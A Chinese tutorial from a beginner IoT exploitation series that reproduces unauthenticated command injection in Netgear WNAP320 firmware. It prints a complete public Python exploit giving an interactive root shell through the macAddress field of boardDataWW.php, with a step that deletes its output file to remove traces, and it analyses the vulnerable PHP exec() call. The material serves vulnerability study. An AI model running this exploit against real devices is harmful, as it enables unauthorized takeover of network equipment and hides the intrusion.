[零基础学IoT Pwn] 复现Netgear WNAP320 RCE

0x00 前言:

这是[零基础学IoT Pwn]的第二篇,上篇我们搭好了仿真环境后,模拟运行了Netgear WNAP320固件,所以这次就直接进行实战,在实战中进行零基础的学习哈哈哈。

0x01 Bug搜索:

搜索bug的方式有很多,比如在线网站https://www.exploit-db.com/,或者直接百度搜对应的路由器型号,我这边用的是searchsploit进行搜索。

可以看到有要给匹配的bug macAddress远程代码执行,并且还有对应的POC。

0x02 POC分析:

poc如下:

  1. # Exploit Title: Netgear WNAP320 2.0.3 - 'macAddress' Remote Code Execution (RCE) (Unauthenticated)
  2. # Vulnerability: Remote Command Execution on /boardDataWW.php macAddress parameter
  3. # Notes: The RCE doesn't need to be authenticated
  4. # Date: 26/06/2021
  5. # Exploit Author: Bryan Leong <NobodyAtall>
  6. # IoT Device: Netgear WNAP320 Access Point
  7. # Version: WNAP320 Access Point Firmware v2.0.3
  8. import requests
  9. import sys
  10. if(len(sys.argv) != 2):
  11. print('Must specify the IP parameter')
  12. print("eg: python3 wnap320_v2_0_3.py <IP>")
  13. sys.exit(0)
  14. host = sys.argv[1]
  15. port = 80
  16. cmd = ''
  17. while(True):
  18. cmd = input('Shell_CMD$ ')
  19. #injecting system command part writing the command output to a output file
  20. data = {
  21. 'macAddress' : '112233445566;' + cmd + ' > ./output #',
  22. 'reginfo' : '0',
  23. 'writeData' : 'Submit'
  24. }
  25. url = 'http://' + host + '/boardDataWW.php'
  26. response = requests.post(url, data=data)
  27. if(response.ok):
  28. #read the command output result
  29. url = 'http://' + host + '/output'
  30. cmdOutput = requests.get(url)
  31. print(cmdOutput.text)
  32. #remove trace
  33. cmd = 'rm ./output'
  34. data = {
  35. 'macAddress' : '112233445566;' + cmd + ' #',
  36. 'reginfo' : '0',
  37. 'writeData' : 'Submit'
  38. }
  39. url = 'http://' + host + '/boardDataWW.php'
  40. response = requests.post(url, data=data)
  41. else:
  42. print('[!] No response from the server.')

运行结果如下:(可以成功获取到shell并且是root权限的)

接下来详细的分析下这个POC。

代码分析

首先看到这一段,这里利用input接受用户输入的命令,然后这个data是一个json数据,正常的话应该是macAddress:MAC地址reginfo:0writeData:submit,但是由于他存在命令注入的漏洞,所以我们可以把命令注入到macAddress的值当中造成任意命令执行。

  1. cmd = input('Shell_CMD$ ')
  2. #injecting system command part writing the command output to a output file
  3. data = {
  4. 'macAddress' : '112233445566;' + cmd + ' > ./output #',
  5. 'reginfo' : '0',
  6. 'writeData' : 'Submit'
  7. }
  1. {
  2. 'macAddress': '112233445566;whoami > ./output #',
  3. 'reginfo' : '0',
  4. 'writeData' : 'Submit'
  5. }//"利用分号拼接上命令并且重定向输出到 output文件中"

接下来分析这个片段,可以看到漏洞出现在http://192.168.0.100/boardDataWW.php这个页面,python里面用post将数据包发送过去,然后接着在去请求用命令行输出的output文件(命令行会显),最后再次调用漏洞删除output这个回显文本,完成一次远程代码执行。

  1. url = 'http://' + host + '/boardDataWW.php'
  2. response = requests.post(url, data=data)
  3. if(response.ok):
  4. #read the command output result
  5. url = 'http://' + host + '/output'
  6. cmdOutput = requests.get(url)
  7. print(cmdOutput.text)
  8. #remove trace
  9. cmd = 'rm ./output'
  10. data = {
  11. 'macAddress' : '112233445566;' + cmd + ' #',
  12. 'reginfo' : '0',
  13. 'writeData' : 'Submit'
  14. }
  15. url = 'http://' + host + '/boardDataWW.php'
  16. response = requests.post(url, data=data)
  17. else:
  18. print('[!] No response from the server.')

0x03 手动复现学习:

在没有登陆路由器的情况可以直接访问http://192.168.0.100/boardDataWW.php,所以导致这款路由器可以未授权RCE。

这里随便填个数据,然后用burp抓个包看看。

这里Web前端有检测Mac地址的格式,格式应为:112233445566。

数据包格式如下:

手动测试下命令执行的bug。

0x04 漏洞原理:

首先我们在固件包里面获取到boardDataWW.php文件,然后对其源码进行分析。

首先是在php文件里面的html代码,这里是一个表单,有一个文本框macAddress,内容有用户输入。当我们点击submit提交按钮的时候,会响应checkMAC函数。

  1. <body align="center">
  2. <form name="hiddenForm" action="boardDataWW.php" method="post" align="center">
  3. <td width="70%">
  4. <input type="text" id="macAddress" name="macAddress" label="MAC Address" value="<?php echo $_REQUEST['macAddress'] ?>" onasdf="checkMAC(this.value);">&nbsp;
  5. <small>* Format: xxxxxxxxxxxx (x = Hex String)</small>
  6. </td>
  7. <td width="30%" class="right">
  8. <input type="submit" name="writeData" value="Submit" onclick="checkMAC(event, document.getElementById('macAddress').value);">
  9. </td>
  10. <td width="70%"><input type="reset" name="reset" value="Reset Form"></td>
  11. </form>
  12. </body>

checkMAC函数的主要功能是判断用户输入的MAC地址格式是否正确,包括12个字符并且是数字和字母的字符。

  1. <html>
  2. <head>
  3. <title>Netgear</title>
  4. <script type="text/javascript">
  5. <!--
  6. function checkMAC(eventobj,mac) {
  7. if (!(/^[0-9A-Fa-f]{12,12}$/.test(mac))) {
  8. .....
  9. }
  10. </script>
  11. </head>
  12. </html>

然后提交表单后会执行这段php的代码,他先是进行了数据包里面的判断,判断writeDatad的数据是否为空,如果不为空则继续判断mac地址数据是否为空并且判断reginfo的数据是否为空,然后这里又判断了一次mac地址的格式是否正确,如果这些条件都正确后进入分支执行接下来的代码。

接着出现了造成漏洞的代码,在php里调用了exec函数

  1. <?php
  2. $flag=false;
  3. $msg='';
  4. if (!empty($_REQUEST['writeData'])) {
  5. //进行mac地址输入格式的判断,比如格式满足[0-9a-fA-F]字符串。
  6. if (!empty($_REQUEST['macAddress']) && array_search($_REQUEST['reginfo'],Array('WW'=>'0','NA'=>'1'))!==false && ereg("[0-9a-fA-F]{12,12}",$_REQUEST['macAddress'],$regs)!==false)
  7. {
  8. //这里因为直接把macAddress与命令进行了拼接,所以导致了存在命令注入的漏洞!
  9. exec("wr_mfg_data -m ".$_REQUEST['macAddress']." -c ".$_REQUEST['reginfo'],$dummy,$res);
  10. if ($res==0) {
  11. conf_set_buffer("system:basicSettings:apName netgear".substr($_REQUEST['macAddress'], -6)."\n");
  12. conf_save();
  13. $msg = 'Update Success!';
  14. $flag = true;
  15. }
  16. }
  17. else
  18. $flag = true;
  19. }
  20. ?>

然后调用exec执行"wr_mfg_data -m ".$_REQUEST['macAddress']." -c ".$_REQUEST['reginfo'],这里可以看到他拼接了用户输入的内容并且当成命令执行,这就会出现命令注入漏洞

wr_mfg_data是一个改变MAC地址的程序。

而当我们注入MAC地址的时候,我们再用;分号来添加一个额外执行的命令,那两条命令都会被执行。

0x05 PWN菜鸡小分队

欢迎来群里讨论PWN技巧、RE逆向。

[零基础学IoT Pwn] 复现Netgear WNAP320 RCE的更多相关文章

  1. [零基础学IoT Pwn] 环境搭建

    [零基础学IoT Pwn] 环境搭建 0x00 前言 这里指的零基础其实是我们在实战中遇到一些基础问题,再相应的去补充学习理论知识,这样起码不会枯燥. 本系列主要是利用网上已知的IoT设备(路由器)漏 ...

  2. 《Windows编程零基础学》第零节

    首先很开心申请到了这一个专栏<Windows编程零基础学> 这是第一篇文章,在这里,我将讲述一些基础的知识. 什么是Windows编程 所谓Windows编程就是在Windows平台上开发 ...

  3. 【视频】零基础学Android开发:蓝牙聊天室APP(四)

    零基础学Android开发:蓝牙聊天室APP第四讲 4.1 ListView控件的使用 4.2 BaseAdapter具体解释 4.3 ListView分布与滚动事件 4.4 ListView事件监听 ...

  4. 【视频】零基础学Android开发:蓝牙聊天室APP(二)

    零基础学Android开发:蓝牙聊天室APP第二讲 2.1 课程内容应用场景 2.2 Android UI设计 2.3 组件布局:LinearLayout和RelativeLayout 2.4 Tex ...

  5. [Python] 文科生零基础学编程系列二——数据类型、变量、常量的基础概念

    上一篇:[Python] 文科生零基础学编程系列--对象.集合.属性.方法的基本定义 下一篇: (仍先以最简单的Excel的VBA为例,语法与Python不同,但概念和逻辑需要理解透彻) p.p1 { ...

  6. [Python] 文科生零基础学编程系列三——数据运算符的基本类别

    上一篇:[Python] 文科生零基础学编程系列二--数据类型.变量.常量的基础概念 下一篇: ※ 程序的执行过程,就是对数据进行运算的过程. 不同的数据类型,可以进行不同的运算, 按照数据运算类型的 ...

  7. 零基础学python-2.8 字典

    字典类型,事实上就是相当于java的map,通过key-value来记录数据,工作原理类似于哈希表 差点儿全部的python对象都能够作为key,可是一般最经常使用的还是数字和字符串 字典元素使用{} ...

  8. [零基础学python]为什么要开设本栏目

    这个栏目的名称叫做"零基础学Python". 如今网上已经有不少学习python的课程.当中也不乏精品.按理说,不缺少我这个基础类型的课程了.可是,我注意到一个问题.无论是课程还是 ...

  9. 零基础学python-7.2 字符串常量

    1.单双引號字符串是一样的 >>> 'abc',"abc" ('abc', 'abc') >>> 当你的python照着上面的样例来写,这个时候 ...

随机推荐

  1. 5个容易忽视的PostgreSQL查询性能瓶颈

    PostgreSQL 查询计划器充满了惊喜,因此编写高性能查询的常识性方法有时会产生误导.在这篇博文中,我将描述借助 EXPLAIN ANALYZE 和 Postgres 元数据分析优化看似显而易见的 ...

  2. Druid SQL和Security在美团点评的实践

    分享嘉宾:高大月@美团点评,Apache Kylin PMC成员,Druid Commiter 编辑整理:Druid中国用户组 6th MeetUp 出品平台:DataFunTalk -- 导读: 长 ...

  3. js call与bind和apply的区别

    介绍 在JS中,这三者都是用来改变函数的this对象的指向的,他们有什么样的区别呢. 在说区别之前还是先总结一下三者的相似之处: 1.都是用来改变函数的this对象的指向的. 2.第一个参数都是thi ...

  4. .NET LoongArch64 正式合并进入.NET

    国内自主的龙芯,在做龙芯技术生态就把 .NET 作为其中一部分考虑进去,这也将对接下来国内.NET应用场景充满了期待.通过dotnet/runtime 可以知道现在龙芯版本的 .NET 已经合并到.N ...

  5. FreeRTOS --(9)任务管理之启动调度器

    转载自 https://blog.csdn.net/zhoutaopower/article/details/107057528 在使用 FreeRTOS 的时候,一般的,先创建若干任务,但此刻任务并 ...

  6. Ubuntu 系统安装,VMware

    系统版本   ubuntu-18.04.5-server-amd64.iso 1.自定义安装 2.默认下一步 3. 稍后安装操作系统 4.选择ubuntu 64位 5.选额安装的目录 6.设置虚拟机c ...

  7. Spring Boot 启动源码解析结合Spring Bean生命周期分析

    转载请注明出处: 1.SpringBoot 源码执行流程图 2. 创建SpringApplication 应用,在构造函数中推断启动应用类型,并进行spring boot自动装配 public sta ...

  8. html单页面通过cdn引入element-ui组件样式不显示问题

    html单页面通过cdn引入element-ui组件样式不显示问题 必须先引入vue,再通过cdn引入element,否则element-ui组件与样式无效. <!DOCTYPE html> ...

  9. Resource wordnet not found. Please use the NLTK Downloader to obtain the resource:

    第一次使用nltk的时候,出现了这样的错误: from nltk.stem.wordnet import WordNetLemmatizer lemmatizer = WordNetLemmatize ...

  10. 个人冲刺(三)——体温上报app(一阶段)

    任务:完成了app第二页面的页面布局 activity_second.xml <?xml version="1.0" encoding="utf-8"?& ...